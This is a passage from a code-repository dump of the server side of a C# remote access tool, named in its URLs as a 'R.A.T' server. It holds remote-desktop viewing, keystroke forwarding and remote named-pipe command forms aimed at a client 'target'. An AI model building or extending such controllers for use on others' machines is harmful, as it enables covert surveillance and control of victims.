293 | ((Form1)parent).SendToTarget($"rtype-{keysToSend}"); //Send command to the client
294 | }
295 | }
296 |
297 | ///
298 | /// Handles the start of image updater
299 | ///
300 | /// The sender of the event
301 | /// The event args
302 | private void RDesktop_Shown(object sender, EventArgs e)
303 | {
304 | Timer t = new Timer
305 | {
306 | // t.Interval = 100;
307 | Interval = FPS //Set the frequency to the screen update rate
308 | }; //Create a new timer
309 | t.Tick += new EventHandler(UpdateImage); //Set the tick event handler
310 | t.Start(); //Start the timer
311 | }
312 |
313 | ///
314 | /// Update the image frame
315 | ///
316 | /// The sender of the event
317 | /// The event args
318 | private void UpdateImage(object sender, EventArgs e)
319 | {
320 | if (image != null) //If the image is not null
321 | {
322 | pictureBox1.Image = image; //Set the image
323 | }
324 |
325 | //Call garbage collector
326 | GC.Collect();
327 | GC.WaitForPendingFinalizers();
328 | System.Threading.Thread.SpinWait(5000);
329 | }
330 |
331 | ///
332 | /// Close the full screen view
333 | ///
334 | /// The sender of the event
335 | /// The event args
336 | private void closeWindowToolStripMenuItem_Click(object sender, EventArgs e)
337 | {
338 | Form1 f1 = (Form1)parent; //Create a new Form1
339 |
340 | //Reset the checkboxes
341 |
342 | if (f1.checkBoxrKeyboard.Checked)
343 | {
344 | f1.checkBoxrKeyboard.Checked = false;
345 | }
346 | if (f1.checkBoxrMouse.Checked)
347 | {
348 | f1.checkBoxrMouse.Checked = false;
349 | }
350 |
351 | Form1.IsRdFull = false; //reset the picture back to form1 picturebox1
352 |
353 |
354 | Close(); //Close the form
355 | }
356 |
357 | ///
358 | /// Set the FPS update rate
359 | ///
360 | public void ScreenFPS()
361 | {
362 | int value = ((Form1)parent).trackBar1.Value; //Get the FPS value
363 |
364 | //Set the fps rate
365 | if (value < 25)
366 | FPS = 150; //low
367 | else if (value >= 75 && value <= 85)
368 | FPS = 80; //best
369 | else if (value >= 85)
370 | FPS = 50; //high
371 | else if (value >= 25)
372 | FPS = 100; //mid
373 | }
374 |
375 | #endregion
376 | }
377 | }
378 |
--------------------------------------------------------------------------------
/TutServer/RDesktop.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
124 | 203
125 |
126 |
--------------------------------------------------------------------------------
/TutServer/TutServer.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}
8 | WinExe
9 | Properties
10 | TutServer
11 | TutServer
12 | v4.5
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | app.manifest
36 |
37 |
38 |
39 | False
40 | ..\..\TutClient\TutClient\bin\Debug\NAudio.dll
41 |
42 |
43 | ..\..\TutServer\TutServer\bin\Debug\scripts\sCore.dll
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | Form
59 |
60 |
61 | Edit.cs
62 |
63 |
64 | Form
65 |
66 |
67 | Form1.cs
68 |
69 |
70 |
71 |
72 | Form
73 |
74 |
75 | RDesktop.cs
76 |
77 |
78 | Form
79 |
80 |
81 | remotePipe.cs
82 |
83 |
84 | Edit.cs
85 |
86 |
87 | Form1.cs
88 |
89 |
90 | ResXFileCodeGenerator
91 | Resources.Designer.cs
92 | Designer
93 |
94 |
95 | True
96 | Resources.resx
97 |
98 |
99 | RDesktop.cs
100 |
101 |
102 | remotePipe.cs
103 |
104 |
105 |
106 | SettingsSingleFileGenerator
107 | Settings.Designer.cs
108 |
109 |
110 | True
111 | Settings.settings
112 | True
113 |
114 |
115 |
116 |
117 |
118 |
119 |
126 |
--------------------------------------------------------------------------------
/TutServer/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | true
18 |
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/TutServer/bin/Debug/NAudio.WindowsMediaFormat.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/NAudio.WindowsMediaFormat.dll
--------------------------------------------------------------------------------
/TutServer/bin/Debug/NAudio.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/NAudio.dll
--------------------------------------------------------------------------------
/TutServer/bin/Debug/sCore.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/sCore.dll
--------------------------------------------------------------------------------
/TutServer/bin/Debug/scripts/ServerPlugin.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/scripts/ServerPlugin.dll
--------------------------------------------------------------------------------
/TutServer/remotePipe.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace TutServer
2 | {
3 | partial class RemotePipe
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
32 | this.textBox1 = new System.Windows.Forms.TextBox();
33 | this.SuspendLayout();
34 | //
35 | // richTextBox1
36 | //
37 | this.richTextBox1.Location = new System.Drawing.Point(12, 12);
38 | this.richTextBox1.Name = "richTextBox1";
39 | this.richTextBox1.Size = new System.Drawing.Size(1034, 483);
40 | this.richTextBox1.TabIndex = 0;
41 | this.richTextBox1.Text = "";
42 | //
43 | // textBox1
44 | //
45 | this.textBox1.Location = new System.Drawing.Point(12, 501);
46 | this.textBox1.Name = "textBox1";
47 | this.textBox1.Size = new System.Drawing.Size(1034, 20);
48 | this.textBox1.TabIndex = 1;
49 | this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown);
50 | //
51 | // remotePipe
52 | //
53 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
54 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
55 | this.ClientSize = new System.Drawing.Size(1058, 526);
56 | this.Controls.Add(this.textBox1);
57 | this.Controls.Add(this.richTextBox1);
58 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
59 | this.Name = "remotePipe";
60 | this.Text = "remotePipe";
61 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.remotePipe_FormClosing);
62 | this.ResumeLayout(false);
63 | this.PerformLayout();
64 |
65 | }
66 |
67 | #endregion
68 |
69 | private System.Windows.Forms.RichTextBox richTextBox1;
70 | private System.Windows.Forms.TextBox textBox1;
71 | }
72 | }
--------------------------------------------------------------------------------
/TutServer/remotePipe.cs:
--------------------------------------------------------------------------------
1 | using System.Windows.Forms; //For form intercation and controls
2 |
3 | #pragma warning disable IDE1006
4 |
5 | namespace TutServer //The application namespace
6 | {
7 | ///
8 | /// Class for handling remote IPC connections
9 | ///
10 | public partial class RemotePipe : Form
11 | {
12 | #region Global Variables
13 |
14 | ///
15 | /// Reference to the main form
16 | ///
17 | private Form1 ctx;
18 | ///
19 | /// The remote IPC server name
20 | ///
21 | public string pname;
22 | ///
23 | /// Indicates if the pipe is connected to the remote IPC server
24 | ///
25 | public bool RemoteRemove = true;
26 | ///
27 | /// The output sent by the remote IPC server
28 | ///
29 | public RichTextBox outputBox;
30 |
31 | #endregion
32 |
33 | #region Remote Pipe and Form Functions
34 |
35 | ///
36 | /// Constructor
37 | ///
38 | /// The name of the IPC server
39 | /// Reference to the main form
40 | public RemotePipe(string pipeName, Form1 context)
41 | {
42 | InitializeComponent(); //Init the controls
43 | Text = $"Remote Pipe Connection ({pipeName})"; //Set the title text
44 | pname = pipeName; //Set the IPC server name
45 | ctx = context; //Set the main form reference
46 | outputBox = richTextBox1; //Set the output of the IPC server
47 | }
48 |
49 | ///
50 | /// Handles the sending of IPC input
51 | ///
52 | /// The sender of the event
53 | /// The event args
54 | private void textBox1_KeyDown(object sender, KeyEventArgs e)
55 | {
56 | if (e.KeyCode == Keys.Enter) //if enter is pressed
57 | {
58 | string data = textBox1.Text; //Get the data in the input
59 | string cmd = $"writeipc§{pname}§{data}"; //Construct the command
60 | ctx.SendToTarget(cmd); //Send the command to the client
61 | textBox1.Text = ""; //Clear the input box
62 | }
63 | }
64 |
65 | ///
66 | /// Delegate used for writing IPC output
67 | ///
68 | /// The text to write to the IPC output
69 | private delegate void SetTextCallback(string text);
70 |
71 | ///
72 | /// Write to the IPC output
73 | ///
74 | /// The text to write to the output
75 | private void SetText(string text)
76 | {
77 | if (InvokeRequired) //If we need to invoke
78 | {
79 | SetTextCallback stc = new SetTextCallback(SetText); //Create a new callback
80 | Invoke(stc, new object[] { text }); //Invoke the callback
81 | return; //Return
82 | }
83 |
84 | richTextBox1.Text = text; //Set the output text
85 | }
86 |
87 | ///
88 | /// Write the output of an IPC command
89 | ///
90 | /// The output of the IPC server
91 | public void WriteOutput(string output)
92 | {
93 | SetText(output); //Write the output to the richTextBox
94 | }
95 |
96 | ///
97 | /// Close the remote pipe
98 | ///
99 | /// The sender of the event
100 | /// The event args
101 | private void remotePipe_FormClosing(object sender, FormClosingEventArgs e)
102 | {
103 | ctx.RemovePipe(this, RemoteRemove); //Remove the pipe from the list
104 | }
105 |
106 | #endregion
107 | }
108 | }
109 |
--------------------------------------------------------------------------------
/TutServer/remotePipe.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------